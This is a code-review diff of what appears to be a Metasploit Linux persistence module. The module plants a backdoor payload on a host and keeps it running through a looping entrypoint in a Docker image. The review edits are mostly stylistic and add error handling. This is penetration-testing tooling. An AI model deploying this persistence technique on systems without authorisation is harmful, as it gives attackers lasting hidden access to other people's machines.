peer review for docker_image persistence

Author: h00die

modules/exploits/linux/persistence/docker_image.rb

@@ -49,7 +49,6 @@ def initialize(info = {})
         ],
         'DisclosureDate' => '2013-03-20', # docker's release date
         'DefaultTarget' => 0,
-        # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
         'Notes' => {
           'Stability' => [CRASH_SAFE],
           'Reliability' => [REPEATABLE_SESSION],
@@ -80,7 +79,6 @@ def check
       return CheckCode::Safe('Docker is installed but this user does not have permission to access it')
     elsif output.include?('Cannot connect to the Docker daemon') || output.include?('Is the docker daemon running?')
       return CheckCode::Detected('Docker appears to be installed but the daemon is not running')
-      # elsif output =~ /CONTAINER ID/
     end
 
     CheckCode::Detected('docker app is installed and accessible')
@@ -91,7 +89,7 @@ def install_persistence
     file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
     backdoor = "#{writable_dir}/#{file_name}"
     vprint_status("Writing backdoor to #{backdoor}")
-    upload_and_chmodx backdoor, generate_payload_exe
+    upload_and_chmodx(backdoor, generate_payload_exe)
 
     # Step 2: Prepare entrypoint script (loops indefinitely)
     sleep_time = datastore['SLEEP']
@@ -109,8 +107,10 @@ def install_persistence
     SCRIPT
 
     entry_file = "#{writable_dir}/entrypoint.sh"
-    write_file(entry_file, entry_script)
-    cmd_exec("chmod 755 #{entry_file}")
+    unless write_file(entry_file, entry_script)
+      fail_with(Failure::UnexpectedReply, "Unable to write #{entry_file}")
+    end
+    chmod(entry_file, 0o755)
 
     # Step 3: Pull Alpine image
     cmd_exec('docker pull alpine')
@@ -144,8 +144,8 @@ def install_persistence
     @clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rmi #{persistent_image}'\" -i -H"
 
     # Step 7: Clean up host temp files
-    rm_f backdoor
-    rm_f entry_file
+    rm_f(backdoor)
+    rm_f(entry_file)
 
     # Step 8: Stop tmp image
     print_status('Stopping and removing temp container')